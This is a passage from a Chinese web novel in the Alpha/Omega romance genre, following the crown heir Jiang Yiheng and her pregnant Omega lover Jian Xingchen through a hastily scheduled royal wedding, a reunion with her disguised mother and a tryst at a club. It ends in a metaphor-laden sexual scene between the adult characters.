“这小子收不收,您倒是给个信啊?您要是不收,我还得花时间处理掉……” 叶昭年拿出一个便携式扫描设备,对着简星沉身上晃了晃,只听“滴”的一声锐响。 她把显示屏上的提示信息给大汉看了看,忍不住啧了几声:“这可是个不折不扣的烫手山芋。比起善后,你应该关心的,恐怕是逃命吧?” “军用追踪芯片?那我的行踪……不是全都暴露了?” 大汉咬着牙,狠狠揪着自己头发,再看简星沉时,脸上满是记恨,“我今天真是倒了八辈子,遇到你这小子。晦气!” 少年一爬下车,他就回到驾驶座,重重摔门,一股脑倒回路口,又轰隆隆地扬长而去。 只留下简星沉和叶昭年两个人,站在卡车留下的滚滚浓烟里,面面相觑。 * 今日的叶氏会所来了个新人。 据说,那是个从大户人家逃婚出来的Omega。 不过才两小时,小道消息就在会所上下传疯了。 几十个驻店的男Omega一窝蜂地挤在车库里,等到侧座车门一开,就众星捧月般拥了上去,一边鼓掌,一边嘘寒问暖。 “弟弟是哪儿的户口?” “你要嫁的是谁,方便打听一下不?” “哎呀,你别理他。家里有无Alpha姐妹可以介绍一下?实在不行,单身小姨也没问题。” 一群叽叽喳喳的Omega把少年吓懵了。 他这辈子都没遇到那么多人同时问他问题,还急吼吼地想要榨出他的每一点个人信息。 “这才六点,晚上还早着呢。一个个都不上班了?散了吧。” 叶昭年的声音一响,一群人不约而同发出不满的抱怨声。 简星沉浑身僵硬地缩在打开的车门后,半天没敢挪过。 他抠着指尖,小声重复:“请,请送我回去。” “我说‘小少爷’,你这套对我可不管用。我不管你平常怎样,在我这儿,你没有发号施令的权利。” 叶昭年示意他让开,一抬手就把车门摁了回去。 走出两步,见他没跟上,又回头瞥了一眼。 “像你这样的帝国重犯,如今落到我这里,应该有人比我急得多吧?” * 会所侧翼就是员工宿舍,专门安排给那些驻店Omega住。 两人一间,两卧一卫,比起简星沉在F区工厂住过的十几人小宿舍,无疑是宽敞了太多。 他这间才刚腾空,还没室友。 房间里孤零零地挂着一套全新的侍应生服装,叶昭年本想顺手拿走,却被简星沉拦住。 “我也不能,总是缩在房间里吧。” 他低头,揪了揪自己身上白丝缎做的衣服,“至少,我想要有一个方便出现在人前的身份。反正,不能像这样,做什么逃婚的贵族Omega。” 叶昭年干脆由着他。 离开员工宿舍,她转头回了办公室。 一小时后,电话座机终于响起。 叶昭年按下通话键,不等对面出声,先嘀咕了一句:“您这时机,卡得倒挺准。” “叶老板。” 另一头的声音清晰得仿佛就在近前,“你在D区做了这么多年生意,道上的规矩,应该不用我提醒吧。” “道上的规矩?这好像不是我会跟您谈的事情。” 叶昭年靠着墙,抬起自己的一只手,视线懒洋洋地扫过齐整的指甲盖,“我刚才还在想,要是我喊您一声殿下,应该不算犯法吧?” “那可真是太巧了,我今天没有逮捕谁的计划。” 江意衡轻声笑着,“叶老板没有第一时间向我致电,我无法表达,自己此刻有多么失望。” “殿下的人在我手上。我想,这代表我才有主动权。该期待电话铃声响起的人,应该也是我才对。” 江意衡只是轻舒一口气。 “别忘了,你庇护的那几个人,也有亲人在我手上。以防你觉得我是在危言耸听,我特此建议叶老板,一定要亲自问问他们。” “我还以为只有像我这样的人才会浑身沾灰,游走在阴影里。” 叶昭年感慨地点点头,“我以为您的帝国军装是白色。可您怎么看着,比我还要灰呢?” 江意衡没有继续这个话题。 “说吧,他在哪儿?” 叶昭年伸手从百叶窗中扒开一道缝。 从位于高处的办公室,她看得很清楚。 少年穿着有别于Omega舞者的普通侍应生服,端着一个盛满空杯的铁盘,在店铺中穿梭。 除了取走客人桌上的空杯,他并不上酒水,只是不断围着会所入口走动,分明是在张望。 她笑了笑:“您那小情人,这会儿正在店里,端着盘子,为我的客人服务呢。” 江意衡听出她话里的讽刺,没有就此发挥,只是淡声提醒了一句:“那拜托叶老板,给这位新员工先放半小时假。让他上来,接我的电话。” 简星沉听领班说有他的电话,盘子随手往桌边一搁。 “哎你这个小东西怎么回事……” 他顾不得那桌客人近乎刺耳的抱怨,一溜烟地跑上楼梯,来到店长办公室。 叶昭年把听筒一晃:“找你的。” 简星沉几乎是激动地捧着听筒,抬到耳边。 比起接电话,少年那副专注的模样,俨然是在朝圣。 叶昭年掐了掐眉心,就听少年激动到声音颤抖,对另一头的江意衡句句回应。 “是我。 “我在叶老板的店里。 “我很安全。” 江意衡松了口气:“她和她的人,没有难为你吧?” “没有。” 少年把电话听筒捧得更紧,似乎是怕自己的声音不够清晰,“虽然她手下的Omega好像太热情了一点,但他们现在都在上班,不会再围着我转了。” 江意衡微微沉声:“你还是少和店里的其他人接触。我不希望他们带坏你。” 他点头噢了一声:“那你什么时候能接我回去?” 话音落下,少年很久都没再说过话。 他只是时而点头,时而抿唇,好像在听对面的人嘱咐什么。 脸上的期待一点点变淡,到最后,几乎变成了失落。 直到叶昭年接回听筒,才发现通讯已经断了。 她撇过视线,好奇地问他:“殿下都和你说什么了?你为什么这个表情?她没说什么时候接你走?” 简星沉蜷起身侧双手,好半天,才垂着眼道:“她让我等她。” “那不就行了。” 叶昭年随意晃着胳膊一拍手,“你就老老实实在你的单间等着吧。她一时抽不开身,不也正常。” 叶昭年还说了些话,简星沉已经没有心情仔细听了。 他只是简单地“嗯”了几声作为回应,心里却莫名不踏实起来。 他总觉得江意衡有事没告诉他。 可他,仍然没有底气去问她。 他记得,上一回江意衡问他相不相信她、让他等她的时候,他等了足足一个月,却只等来一个刻意保持分寸的人。 那这一次呢? 江意衡,又在计划什么? 第55章 再不放开我,我可咬人了…… “婚礼到场的嘉宾名单,我已经确认过了。” 江意衡提起钢笔,在最后一页署上姓名,将厚厚一沓文件递给王室后勤人员。 对方再三鞠躬,匆匆退场。 没过多久,江意衡却听到身后传来一道意料之外的声音。 “这才几天,你怎么突然就对婚礼筹备这么上心了?” 黎书宛步入江意衡的书房时,下意识地扫过四周。 本该瓶养鲜花的茶几上,如今却放着一个玻璃罩子,里面是一大捧蓝到不似真实的玫瑰花。 帝国并没有培育过蓝玫瑰。 这样的色调,只可能是重新着色后的产物。 黎书宛好奇地垂下视线,端详那些效果如出一辙的晕染花瓣:“这是永生花?” “那可是我的未婚夫亲手做的手捧花。怎么样,手艺不错吧?” 江意衡转身,指尖在玻璃表面的纹路上轻轻刮过,“不需要加水,不需要日光照射,甚至连花粉都没有。可以保存一到三年,留到婚礼上,更是绰绰有余。” 她抬指敲出咚的声响,歪过头打量永生花的样子,几乎像是在打量一件被缴纳的赃物。 那绝不是欣赏的目光。 黎书宛看着她,有两秒钟,没说任何话。 直到江意衡的手指挪开,恢复那副抱臂旁观的姿态,她才重新开口。 “我是不知道,均和还有这样的手艺。” 黎书宛为自己找了把椅子坐下。 “即便你想要把花朵最好的样子留到婚礼,也不一定要借助永生花。完全可以等婚期定了,提前几天,让均和帮你插个花。以现有的鲜花保存技术,切花完全可以近乎无损地保留两到三日。” “您也知道,我未婚夫是个多么忙碌的人。即便婚期将近,他也没有放弃过日常排练。婚礼筹备的那么多事项,已经够麻烦了。我怎么可能闲来无事,还让他分心去帮婚礼再做插花?” 这些话,俨然是在体谅王储未婚夫的不易。 可黎书宛没有忘记,先前江意衡气势汹汹带着平民少年来到花苑的场景。 她同样清楚,这位与她毫无血缘关系的女儿,在她面前主动提及言均和的次数,半只手都能数得过来。 江意衡不是那种喜欢把关心放在嘴上的人。 如果她真的这样做了,那反而显得有些故意之嫌。 “这永生花,你自己留着当然无妨。可这毕竟是脱水后软化着色的成品。比起鲜花,更像是借着花的轮廓重塑的模型。寓意上,恐怕不太好吧?” 江意衡却嗤之以鼻。 “切下的鲜花注定是会死的。只有留在枝条上的那些,随着时间慢慢绽放、发皱、变白,最后凋落,才能被称为活过。” 她想起小木屋院中,那些曾经短暂得到简星沉照料的鲜花,目光有片刻宁静。 如果可以,她希望花儿永远待在安全的地方,不用被卷入涡流中心。 黎书宛并没有表示赞同,但也没有否认什么。 “我来,不是和你争论鲜花与鲜切花孰优孰劣的。那些长在枝条上的花,未经修饰,缺少搭配,也没法整株挪去婚礼场地。趁着还有时间,重新找个靠谱的花艺师帮你做插花吧。” “哪还有时间啊,黎姨。” 江意衡的目光恢复冷淡,唇角却扬起熟悉而又客套的王储式微笑,“您没收到通知吗?婚礼的日期已经定下了。” 与此同时,书房中响起一声叮的提示音。 黎书宛查看腕上终端时,却被弹出的消息震惊到失去言语。 江意衡背过双手走近,心不在焉地瞥了一眼那上面的提示。 “王储殿下婚期已定。三日后,苍曜礼堂。” 黎书宛虽然没说一个字,但她的表情,已经很清楚地表明了她的态度。 “您很意外吗?” 江意衡伸手帮这位继母点掉仍在闪烁的提示框。 提示音一消失,黎书宛瞬间回神。 “三日后?” “很奇怪吗?我可是听说,你们都急得不得了呢。言家,黎家,还有中心区其他好几个贵族世家……” 江意衡如数家珍念出这些重头嘉宾,“你们不是巴不得,婚事早点办成吗?” “可三天也……” “太赶了吗?” 江意衡微抿唇角,偏过视线,一边踱步一边点头,仿佛是认可这个说法。 但她旋即立定回转,微微俯身,露出那种天真残忍的笑容。 “反正你们只需要出席就好。其他的,王室后勤全都帮我打点好了。需要我确认的最后一样东西,今天也确认过了。您说,我还有什么后顾之忧呢?” 她摇着头,单手提起一只小巧的公文箱,头也不回地在走廊中留下爽朗笑声。 * 帝国医院,国王的专属病房。 病床上的江御川一如既往合着双眼,如同只是沉睡未醒。 伫在床前的那道人影,正将目光落在他身上,一寸一寸,沿着他的额头、眉眼、鼻梁、嘴唇拂过。 “你到底还是失约了。” 安青沅收回指尖,转而在无名指上摩挲。 不待她弯腰拂过江御川的面容,另一道脚步声却从门边响起。 江意衡踏着稳当的步履朝病床走近。 几乎同时,伫在帘后阴影里的安青沅斜过身形,不引人注目地拭过眼角。 “你怎么来了?” “这个问题,好像应该由我来问您吧。” 江意衡伸手拉开窗帘,过于明亮的光线一瞬间盈满室内。 她顺手将一个音频干扰器放在窗台上:“您是怎么在不被安防系统察觉的情况下,潜入父亲病房的?” 安青沅正偏过头,眨眼适应突如其来的强光。 片刻后,她恢复常态,端出一副温和平静的笑容。 “习惯了生活在阴影中的人,总有办法找到自己的方向。” 江意衡抱起双臂,看着没什么耐心:“我可不是专程来听您打比方的。” “我想,像你父亲这样考虑严密的人,一定抹除了二十年前飞船事故的所有证物。” 安青沅下意识地摩挲着无名指,语气从容得像在说别人的事,“安青沅这个身份,二十年前就已经结束了。现在活着的人可以是任何人,但唯独,不可能是她。” 她抬起藏于袖中的那只手,在江意衡面前轻轻一晃,“认得这个吗?” 隔着一张病床的宽度,江意衡清楚地看到,安青沅的原本空无一物的无名指上,忽然现出一枚黑曜石戒指。 “这是……” 她难以置信地瞪着安青沅手上的戒指,又比对自己食指上的戒指。 虽然安青沅那枚比她的小了一圈,但无疑是同样的黑曜石。 黑曜石是天外来物,整个帝国也不过就那么一颗原石。 她以为,全部的石料,都只用于打磨父亲手上的那枚戒指。 “你一定觉得很惊讶吧?” 安青沅保持微笑,“从一开始,黑曜石戒就有两枚。一枚大,一枚小。小的这枚,是从余料上切割的。” 似乎是怕江意衡心有芥蒂,她还特意补充了一句:“无论颜色净度,都没你手上那枚好,更无法冒充。” 江意衡默不作声地看着,这位阔别二十年的母亲绕着病床走过半圈,来到她面前。 “我长得,和你记忆中不一样,对吗?” 江意衡对此早有疑惑。 安青沅明着指出这一点,令她忽然意识到一种可能性。 “你想的没错。这不是我原本的脸。” 安青沅伸手拂过自己的脸廓,那动作堪称小心翼翼,“想要一个人消失,死亡是最简单的办法。安青沅死了,她的脸当然不能存留下来。可是即便技术能够易换相貌,却无法万无一失。” 她摘下手上那枚戒指,对着光看了看:“所以,持续的技术加持,仍是有必要的。” 在这一瞬间,江意衡透过落入帘间的光线,看到安青沅脸上出现了微妙的变化。 母亲过去的神态,以更熟悉的方式,呈现在她的视野中。 待她重新戴上那枚戒指,方才的熟悉感又一瞬间淡去。 “看出来了吗?” 安青沅轻晃五指,“光学伪装仪,居然可以做得这么小。” “我以为,那是已经被禁止的研究。所有相关产品,也已由帝国统一销毁。” “谁下的令?你父亲?理由是什么?” 安青沅这三连问,勾起江意衡的记忆。 光学伪装,又称光学干扰技术,通过精密计算,以纳米材料为基准,主动对外干扰视觉。 这项技术大到可以对飞船进行环境拟态。 小到可以实现个体的部分视觉扭曲,甚至遮蔽。 在她被接回宫的同年,江御川以危害社会治安为由,终止了便携式光学伪装仪的研究,下令销毁所有现存设备。 这样说来,安青沅能如入无人之境般,来到江御川的病房,也不奇怪了。 江意衡冷眼轻笑:“有这样的东西在身上,您恐怕,比那些藏于暗中的敌人,还要令我感到后怕。” “你错了。对于中心区,我早已不是威胁。一只想要自由的小鸟,又何必威胁别人?” 安青沅摘下戒指,递入江意衡手中,甚至帮她合拢泛凉的五指。 “我已经不需要它了。至于,你打算如何处置它。” 与江意衡擦肩而过前,这位母亲久违地在她肩上按了按。 “那就得看你决定了。” * 叶氏会所在下午三点前,客人都很少。 除了几个打扫卫生的同事,简星沉几乎见不到几个跳舞的Omega。 不过,这并不影响他观望店门口的动向。 少年时而扫地,时而擦墙。 时而跑出门外,用鼓风机吹走门前的落叶。 过了足足两小时,才终于让他等来一点热闹。 一辆越野车轰地驶过带着石子的路面,在店门前一米距离刚好停下。 车门侧开,一双黑色皮靴干脆地落在地上。 一只手扶在门侧,戴着黑色爵士毡帽的身影赫然落入他的视野。 过腰的黑色皮衣,仿佛能随着来人走动掀起风浪。 帽檐被刻意压低,似乎是不愿被人看到眼睛。 明明是陌生的身影,却无端抓住少年的注意。 他顿住握着扫帚的手,伫在舞池边,与前方唯二两个Omega舞者齐齐张望新来的客人。 两个搔首弄姿示好的Omega却像两盆盆栽,完全没有引起对方注意。 来人侧身从中间的空隙穿过,却在少年面前停下脚步。 简星沉忽然心虚得厉害。 他慌忙划动扫帚,重新打扫早就一尘不染的地面。 “这个,我要了。” 他听到对方刻意压低的声音,还没反应过来是怎么回事,手腕就被人一把擒住。 “等等,您认错人了。我只是个临时工,不提供那种服务……” 然而,那两个被忽视的Omega却只是叉腰看着他,露出爱莫能助的表情。 在他被拉上楼之前,叶昭年刚好从旁经过。 简星沉慌忙抓住这根救命稻草:“叶老板!客人认错人了,您快帮我说句话啊!” 叶昭年顿住脚步,看着那名客人在身侧做出的熟悉手势,转而对少年耸了耸肩:“恐怕这次,我也帮不了你。自求多福吧。” 简星沉眼睁睁看着叶昭年扬长而去。 他没命地挣扎,又抓,又捶,还用指甲去抠对方的手掌。 “我警告你,再不放开我,我可咬人了!” 他没注意到,帽檐下的脸,缓缓露出一个笑。 “你是聋了吗?我最后警告你,不然她一定会,一定会要你好看!” 话音刚落,一个小小的环形硬物突然被塞到他口中。 少年呜呜地叫着,面前的人却反手把他按到墙上。 江意衡摘下爵士帽,弯起眼角,毫无愧疚之色。 “那你倒是说,我会怎么要我好看?” 第56章 他宁愿自己昏死在榻上 认出眼前人是谁的那一瞬间,简星沉停下了求救的呜咽声。 他抬手,指尖犹豫着靠近江意衡的面容,沿着她的下颌角轻轻抚过,反复数次,好像终于相信,自己看到的并不是错觉。 这才一口吐出嘴里的硬物,用手兜住:“你给我塞了什么东西,怪硌牙的。” 江意衡从他指间顺回那枚黑曜石子戒,在他困惑的目光中,拉过他的左手,套在他的无名指上。 她捏了捏他的指节,露出满意笑容:“尺寸挺合适,不用调了。” 小巧的一枚,箍在少年细直的手指上。 对着顶上的灯光晃动时,表面会浮现彩虹一样的波纹。 简星沉从没近距离见过这种东西。 他看得出,这不是地摊上几块一个的便宜饰品。 “不是说,让我等着你吗?” 少年下意识地缩手,五指因为陌生饰品的存在,有些僵硬地微蜷,“你连声招呼不打就突然跑来,还打扮成这样。” “这样又怎么了?” 江意衡垂下视线,略略扫过身上的皮衣,还有勾在指尖的爵士帽,“你不习惯?” 他把头低下去,手指不安地松开又握紧:“我差点以为,你是来……点人的。” 江意衡眼里透出一分狡黠:“我怎么不是来点人的了?” 少年抬起目光,两只眸子盯着她,瞳光闪闪,像是以为自己听错。 手指下意识地回缩,他试图把戒指褪下:“东西你拿去,我不要。” 江意衡扣住他的手:“我可是专程来点你的。” 少年把头垂得更低:“你以前不是这样的。” “那我以前是怎么样的?” 她抬起他的手掌,贴上自己脸侧,“你告诉我啊。” 江意衡的手指并不安分。 她擒住少年的手掌,指腹却沿着他掌心的纹理细细摩挲,每一道都燃起微麻的火焰。 他很快就红了脸,话语也变得磕绊:“你以前,都,都直接亲的。” ……噢。 原来,有人比她更享受强吻的感觉。 江意衡若有所思地点点头。 在简星沉回神以前,她已经把他的两只手举高,牢牢摁在他身后的墙面上。 “这可是你自己要求的。” 面容与面容的距离变得切近,少年几乎是本能地闭上了眼。 没有逃跑,没有抗拒。 唯有细密的眼睫近乎战栗地颤动,像小小的黑羽扇呀扇。 他的每一个微小动作,都落入江意衡眼底。 像是时而微张又抿起的唇瓣。 吞咽口水时喉结轻滑的动作。 还有明明被她高高抵在墙上,却忍不住向下蜷起的指尖。 江意衡不由地想,怎么会有人天生就如此顺她的心意。 无需演练,无需磨合。 他下意识的反应,像一团柳絮从她心上拂过,带起一丝微乎及微、挥之不去的痒。 她忍不住就想要啃在他那如同果脯般柔软甘甜的唇瓣上。 想听那些细碎的声音漏出他的齿关。 想要他圆润的指甲盖轻划过她的皮肤,然后因她急促的掠夺,反过来在身侧扣紧的模样…… 她想要把他弄皱,再重新打开,像一个恶劣的孩童,总会把彩色糖果纸捏得窸窣作响。 鼻尖擦过鼻尖,她几乎能感到,少年微微湿润的睫毛拂过她的脸颊。 而他呼出的气息骤然间止住。 这算什么,她都还没把舌头放进去呢。 眼看就能尝到这颗汁水渐丰的果实,江意衡却听到,走廊尽头响起一声尖叫。 “哪来的登徒子,你这是强抢民男!” 通通通的脚步声三三两两从楼梯口传来。 身为带头的男Omega,孟稚林胳膊一揽,居然硬生生把少年从江意衡的面前拽走。 “别哭了啊。有我老孟在,没人敢轻薄你。” 他大度地安抚着一脸懵然的少年,抬头就指着江意衡一阵痛斥,“我说这位客人,没看到他穿成这样,摆明了是不提供特殊服务吗?” 另几人也不嫌事大地从旁附和。 “真是世风日下、人心不古,连客人的素质都越来越低了。” “敢偷摸着动叶老板店里的人,你是不知道她背后什么来头,说出来吓死你!” “再说了,他明明都已经有主了。就算便宜那个订婚的女Alpha,也不能便宜你啊!” 闻言,孟稚林像是突然想起什么,一面拍着少年的肩膀,一面抬起下巴朝江意衡示威:“我也不跟你兜圈子,他其实是大户人家逃婚出来的小少爷。他对象这会儿,还在四处查找他的下落。” “逃婚?” 江意衡抱起手臂,微微抬眉,“那你们有问过,他那联姻对象是谁吗?” “反正肯定是你惹不起的人。” “我惹不起的人?已经好久没人能逗笑我了。” 江意衡抬指按了按额心,颇感好笑地追问,“帝国上下的女Alpha多了去了,我怎么知道那是哪一个。没准,我还就惹得起呢。” “好大的口气啊!” 孟稚林撇完嘴,旋即小声询问简星沉,“你都没说过你那对象是谁,你倒是说呀,好吓死她!” 少年看了看他,又扭头看了看江意衡。 她虽然摆出一副无伤大雅的看戏姿态,眼里的锋芒却是越来越冷了。 他说什么并不重要。 他只知道,他今天,恐怕真要“死”在她的床上了。 简星沉不言语,孟稚林也着急。 他急中生智,随口抛出一个响当当的大名:“江意衡你听说过不?” 被点到名的当事人表情凝滞了片刻。 孟稚林以为自己抛下的重磅炸弹足够有力,便乘胜追击:“就是咱们帝国的王储,女Alpha中的女Alpha,杀人不眨眼、吃人不咂嘴。要是她知道你敢动她的人,她肯定能叫你全家消失干净,一点渣都不剩!” 江意衡知道,Omega向来有袒护Omega的习惯。 但戏演到这份上,实在有些离谱。 她不打算陪他们继续闹下去,打算直接将少年带离现场。 可这场戏的最后一个演员,偏偏在这时姗姗来迟地登场。 “都在这儿看什么呢?” 叶昭年声音一响,堵在走廊里的那群男Omega纷纷向两侧挪开,为她让出一条路。 眼前,帝国王储正没好气地伫在一边。 而她的“逃婚Omega”小娇夫,正被一群Omega小心围在中央保护着。 经营会所十来年,叶昭年还是第一次撞见这种精彩绝伦的场面。 她故意装蒜:“怎么回事?” 孟稚林颇有正义感地指着江意衡控诉:“她想要强取豪夺别人的未婚夫!” 叶昭年徐徐呼出一口气。 “你对强取豪夺的定义是什么?” 这下轮到孟稚林纳闷起来。 他挠着脸,不明白叶老板反问的理由:“我刚看见她把小少爷扣在墙上,意图强吻,这还不算吗?” “那你有没有问过小少爷本人的意思?” 孟稚林瞅着简星沉局促的表情,小心忐忑地轻声问他:“我刚说的,应该没错吧?要是没错,你点个头。” 似乎是怕简星沉受人威胁不敢表态,孟稚林把声音放得更轻:“实在不行,你眨个眼呗。” 少年迟迟未曾点头,连眼珠子都没敢再动过。 孟稚林有些糊涂了,总不会是他搞错了吧? “我理解,你们动机是好的。但这次,还真不是你们以为的那样。” 叶昭年打开一片口香糖,丢进嘴里嚼了嚼,啵地炸出一个白色泡泡,“小少爷肚子里怀着客人的孩子呢。他俩之间的事,你们可少掺和。” “啊?” 走廊里瞬间炸响一片惊呼。 随后转入死寂。 有人撇过目光,有人在撕手上倒刺,还有人咳得拙劣而刻意。 不多时,他们不约而同打起退堂鼓。 “原来是情趣,打扰了。” “难怪会逃婚,原来是和情人约好了私奔。” “我就觉得哪儿不对劲,幸好我足够谨慎。” 十几个人一窝蜂地来,又三三两两地散光。 只剩下孟稚林还杵在原地,目送完倒数第二人灰溜溜地离场。 他僵硬地转过脖子,手在少年肩上轻轻一拍,强撑着自己的颜面:“需要我们帮忙的时候,请一定要出声啊。” 说完,他也麻溜转身跑了。 “人都走了。” 叶昭年斜过视线,瞅着江意衡,“殿下还有什么需要我的地方,也尽管差使。” 她满怀同情地望了简星沉一眼,摇着头,哼着小曲消失在走廊尽头。 “走廊还是太危险了。” 江意衡伸手撩起额前发丝,近乎无奈地翻了个白眼。 再看向他时,她却重新流露出猎人般危险的目光。 “小少爷,是你的新马甲吗?” 她伸指拈起他的下巴,“那不如,你就顶着这个身份,陪我玩一场游戏吧。” * 简星沉宁愿,自己是被折腾到昏死在床榻上。 而不是像现在这样,被迫在她面前,继续扮演贵族小少爷的角色。 他已经换回古着店的那套白色婚服,推开房门瞬间,就看到江意衡懒洋洋地侧躺在床,手上还把玩着侍应生套装上的黑色领结。 “衣服不错。” 一见他出现,江意衡瞬间起了兴致,一手撑着侧脸,一手朝他勾了勾,“靠近点,让我好好看看。” 少年揪着微微发皱的料子,上面有几处在运输途中沾上的泥灰,他觉得碍眼,不断用袖子擦拭,但怎么也擦不掉。 “流落到风俗店的小少爷。” 江意衡的手指绕着领结上的系带转了转,“你说,他们要是开发这种体验项目,应该能有不错的创收吧?” 简星沉揪着自己的手指头,迅速地看了她一眼,又收回目光。 她却长臂一捞,拽着他的袖子把他拉到床边,使他半个身子都快弯到她身上。 “小少爷这么忸怩,是第一次接待客人吧?” “能不能,换个游戏。” 感觉到她温热的吐息,简星沉紧张地偏过脸,不敢看她眼里灼人的光芒,“我,我演技很差的。” “我倒觉得你演得很好。” 江意衡的指尖在他颊边勾了勾,“天真懵懂,不谙世事。一看就是被大户人家养在高塔里的小少爷,只等着有一天,献给从出生时就定下婚约的恶龙。” 她靠近他红透的耳廓,轻咬一口,又朝里呼气:“恶龙的尺寸对于人类而言,是很夸张的。他们把你献出去,却从来没给你科普过体型差对新婚夜的影响。你现在,还在担心这个素未谋面的联姻对象,到底长什么样。” 江意衡的语气仿佛有一种魔力。 从她口中说出的故事,明明令他不安到极点。 可他,却分毫无法挪开注意。 “等到约定的日期,你没有等来风雨中展开的巨大双翼,却等来一个人。她身上被雨水淋湿,样子甚至有些狼狈。你转身为她生火的时候,没有看到她眼里一闪而过的绿色瞳光。 “你为她擦干头发,泡了热茶,还允许她躺在你自己的床上休息。她说她很害怕孤独,让你陪她。你不知道那意味着什么,但答应会哄她入睡。 “前两晚,她都很安分地听着你给她说的故事入睡。只是偶尔,你觉得好像有什么粗糙的东西拂过你的腰。你以为是自己出现幻觉,她也这么认为。可到第三晚,外面打雷闪电的一瞬间,你看到她琥珀色的眼里,露出一道竖缝。” 说到此处,江意衡的手恰好滑过少年的腰侧,激得他止不住地打颤。 她的话语却未停息。 “你虽然没见过龙,但却本能地感觉到,那是一种你不该接近的危险。你说你害怕,她却安慰你,只要你乖,她就能让你忘记那些恐惧。等你早上醒来,她已经不见了。而你身上从外到里,没有一处不是她留下的痕迹。 “一天,两天,一周,两周……你守着她留下的一句诺言,她却一直没有回来。你的肚子一点点大了,你的胃口比任何时候都夸张。为你送餐的侍从发现这件事,告知你的家人。他们痛斥你被坏人弄大肚子,无法再被献给恶龙。 “于是他们把你流放到无人知晓的地方。对外宣称,你死了。 “终于有一天,巨大的双翼再次盘旋在高塔上空。恶龙没有找到她想要的人类祭品,风暴从此笼罩这片土地。她要这里永远留下她的怒火,没有谁可以再次享有蓝天。 “直到那一天,她在幸存者满怀恐惧的朝拜声中,又一次看到那个人。他护住隆起的小腹,浑身泥泞,踉跄着试图逃离身后那群喊打他的不良民。” 江意衡止住言语。 她的手掌,正隔着丝缎细腻的质地,罩在少年隆起的小腹上。 而她的声音一如鬼魅般,钻进他心底。 “你猜,她抓住他之后,会对他做什么?” 简星沉听得起了一身鸡皮疙瘩。 “你太入戏了,我,我猜不到。” 如果他的身体是一条丝缎,江意衡只想无止尽地向下,再向下,直到他的每一处纹理,都被她展平。 “你猜不到,但总可以配合我吧?” 她的一只手已经隐没在丝缎之下,另一只手却钳住少年的下巴,在他近乎急促的呼吸中,迫使他扭过头看着她的眼睛。 “你欠我的新婚夜,不如,今天就还给我吧?” 第57章 分明浑身都在哭 偶尔,简星沉觉得,自己一定是上辈子就欠着她的。 所以,只要她索取,他总会不计回报,予取予求。 可在他十九年人生筑成的浅显观念里,新婚夜,只该属于扯过证、许下终生誓言的两个人。 恶龙跟那贵族小少爷之间,至少还有一纸婚约。 而江意衡跟他,只有一份无法示于人前的非婚制协议。 虽然,他并不介意用这种方式留在她身边。 他也愿意相信她说的,关于新婚夜的字眼。 可江意衡始终是要跟言均和完成仪式的。 而那时,只要提到王夫,所有人都会想到那个浑身发光的舞蹈艺术家。 而不是他,一只小小的、灰扑扑的鸟儿。 简星沉虽然面色潮红,鼻翼和唇瓣同时翕张,颊上醉意一路向耳根蔓延,可他的眼里,却始终蓄着一汪哀伤的泉。 江意衡能嗅到,他周身信息素的变化。 除去源于她的红酒气息,他的茉莉香仿佛也酿成了酒,甘中带苦。 令她迷醉的同时,又在她舌尖留下一点滞涩。 她极有耐心地舔舐他的眼泪。 即便他哭起来,总是咸涩多于甘甜,她却始终最爱他哭的样子。 她想自己一定是仁慈到了极致,连他的苦涩都卷入腹中,不愿舍弃他的一滴眼泪。 没有别的,只因他是为她而哭。 因为他在乎。 因为他心底所渴求的,比他诉诸于口的,还要多得多。 她喜欢看他明明想要更多阳光和水分,却又拼命压抑自己,徘徊在阴影的边缘。 她也喜欢看他明明浑身已经像纸一样点燃,却仍是用手死死扣住她的五指,无名指上的黑曜石子戒硌在她的骨节之间。 吮过少年睫尖的泪,江意衡又缓缓舐去他唇角溢出的,那一点混合着泪的涎液。 少年分明浑身都在哭。 眼角。 胸口。 还有更深处。 她只惋惜自己并不是故事里的恶龙,可以一口将他吞入腹中。 但对他,她总有拆解的办法。 吻去他面上的咸涩。 指尖拂过沾湿他衣襟的微甘。 浸没在他的内里,徐徐进退。 她才知道,原来,密不可分不止是一种状态,更是一种持续变化的过程。 少年身上原本还算平整的丝缎,被揉出交错的褶皱。 间或带着她的指痕,像恶龙戏弄她的祭品前,搓着捻着,时而将他展成一片,时而又将他叠成一团。 偶尔,她也会给予他恰到好处的那么一点奖励。 将指尖探入他口中,允许他的齿关留下一点咬痕。 而在她禁锢住他的同时,他最温暖的部分,也会反过来将她紧紧包容。 江意衡很小心,不会冲撞到他腹中的孩子。 可孩子的Omega父亲却食髓知味,像藤蔓一样攀住恶龙,想要更紧密,想要与她融为一体。 柔能克刚,她拿他没办法,只好抱着他,将他的双手搭在自己肩上。 忽然间从躺着变成跪着,少年整个人都仿佛僵住一样。 他睁着一双朦胧的眼,睫羽像惊慌的蝶翼般颤了颤,手指本能地在她肩上蜷紧了一些,却不再动弹。 江意衡扶着他的腰,握住他一只手,往自己脖子后方牵去。 “抓紧了。我怕你等会歪倒,会伤了小星星。” 他果然如梦初醒,两只手听话地在她颈后交扣,指腹近乎谨慎地拂过她的颈椎骨。 可属于她的那一部分,却气势汹汹地伫在原地,即便他已经微微直起了腰,也还是躲不过她的虎视眈眈、咄咄逼人。 “知道恶龙最擅长的是什么吗?” 江意衡忽然靠近他耳边,细微的姿态变化,连带着波及到他最难以启齿的内里。 “喷,喷火。” 少年局促地给出诚实的回答。 “那还太早了。” 江意衡咬着他的耳根,“当然是,先飞起来才对。” 话音落下,他的感官却真的有如风起,直上云霄。 恶龙天生会飞翔。 而她身上的人,却并没有这种天赋。 她振翼,她扬颈,她盘旋,她翻转。 每一次炫技,对于她承托着的人而言,都是又一次对感官的极限试探。 他被带上万里高空,灵魂与躯体近乎分裂。 他的灵魂似乎能向下俯瞰着,躯体是如何目不暇接地在飞翔中颠簸。 明明没有镜子,他却好像能看清,自己的每一个表情。 有时候,他几乎觉得,自己是在忍受煎熬。 否则为什么他抬高了头颅,咬住牙关,双眼合起不敢再看前方的风景,指尖却互相绞紧。 求生本能使他想要回到地面,想要脚下重新得到支撑。 并不因为他害怕高空,而是因为,他害怕自己贪恋高空。 江意衡却只是不知疲倦地载着他翱翔。 她是他此时此刻全部的支撑,他恍惚觉得自己已经成为了她的一部分,不再担心坠落的风险,不再惧怕风激荡着拂过他的感官,更不再计较本就不确定的未来。 等他终于回过神时,他已经靠在她的肩头,她的手缓缓抚过他脑后的发丝,口中还哼着他不熟悉、却悠扬婉转的曲调。 又过了几分钟,简星沉才勉强恢复心跳,能够张口发出微哑的声音:“那是什么曲子?怪好听的。” 